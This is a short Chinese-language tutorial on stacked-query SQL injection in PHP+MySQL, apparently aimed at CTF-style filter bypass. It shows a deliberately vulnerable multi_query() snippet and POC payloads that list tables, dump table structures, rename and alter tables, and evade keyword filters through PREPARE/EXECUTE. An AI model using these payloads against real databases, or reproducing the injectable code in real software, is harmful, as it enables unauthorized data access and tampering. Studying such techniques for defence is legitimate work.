Sql注入--堆叠注入

堆叠查询

  在SQL中,分号表示已到达语句的结尾,后面的内容是新的。这允许在对数据库服务器的同一调用中执行多个语句。与仅限于SELECT语句的UNION攻击相反,堆叠查询可用于执行任何SQL语句或过程。使用此技术的经典攻击可能如下所示。(来自于)

1
2
3
4
Stacked query support.
MySQL/PHP - Not supported (supported by MySQL for other API).
SQL Server/Any API - Supported.
Oracle/Any API - Not supported.

堆叠注入(PHP+MYSQL)

  当过滤了select|update|delete|drop|insert|where|.|时,又想获取当前数据库其他表字段值时就要想到堆叠注入啦。😏😏😏

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$mysqli = new mysqli("localhost","root","root","supersql","8889");
//多条sql语句
$sql = "select * from `table1` where id = '$id';";
if ($mysqli->multi_query($sql)){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
}
$mysqli->close();

POC:

1
2
3
4
5
6
7
8
9
10
11
爆字段当前数据库表字段的方法:
and Polygon(id) --+
procedure analyse()--+
and linestring(id)--+
方法一:
$id = 1';show tables from supersql;%23 //获取数据库中当前的所有表名
$id = 1';show create table xxx; //获取表结构
$id = 1';alter table `table1` add(id int default 1);alter table table2 rename a;alter `table1` rename table2;%23. //给table1 添加id字段,修改表名。
方法二:
使用prepare语句使用
$id= 1'; set @s=concat(%s);PREPARE a FROM @s;EXECUTE a; //%s替换成语句,然后关键词使用char转换